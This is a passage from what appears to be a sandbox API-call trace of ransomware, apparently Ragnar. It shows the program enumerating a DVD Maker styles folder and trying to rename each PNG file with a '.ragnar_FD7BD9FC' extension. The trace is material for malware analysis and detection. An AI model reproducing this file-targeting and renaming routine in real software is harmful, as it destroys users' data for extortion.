lpString2="Heart_VideoInset.png" | out: lpString1="Heart_VideoInset.png") returned="Heart_VideoInset.png" [0079.392] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned=".png" [0079.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.392] CloseHandle (hObject=0xffffffff) returned 0 [0079.392] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" [0079.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.ragnar_FD7BD9FC" [0079.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.392] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81486a60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0079.392] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x814d2d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0079.392] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8156b2a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0079.392] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0079.392] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.392] lstrcpyW (in: lpString1=0x1eb620, lpString2="menu_style_default_Thumbnail.png" | out: lpString1="menu_style_default_Thumbnail.png") returned="menu_style_default_Thumbnail.png" [0079.392] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png") returned=".png" [0079.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.393] CloseHandle (hObject=0xffffffff) returned 0 [0079.393] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" [0079.393] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.ragnar_FD7BD9FC" [0079.393] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.394] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.394] lstrcpyW (in: lpString1=0x1eb620, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.394] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.394] CloseHandle (hObject=0xffffffff) returned 0 [0079.394] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" [0079.394] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.394] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.394] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.394] lstrcpyW (in: lpString1=0x1eb620, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.394] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.395] CloseHandle (hObject=0xffffffff) returned 0 [0079.395] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" [0079.395] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.395] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.395] lstrcpyW (in: lpString1=0x1eb620, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.395] CloseHandle (hObject=0xffffffff) returned 0 [0079.395] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" [0079.395] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.395] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.395] lstrcpyW (in: lpString1=0x1eb620, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.396] CloseHandle (hObject=0xffffffff) returned 0 [0079.396] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" [0079.396] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.396] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.396] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.396] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.396] lstrcpyW (in: lpString1=0x1eb620, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.396] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.397] CloseHandle (hObject=0xffffffff) returned 0 [0079.397] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" [0079.397] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.397] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.397] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.397] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.397] lstrcpyW (in: lpString1=0x1eb620, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.397] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.397] CloseHandle (hObject=0xffffffff) returned 0 [0079.397] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" [0079.397] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.397] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.397] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x815b7560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81603820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81675c40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, 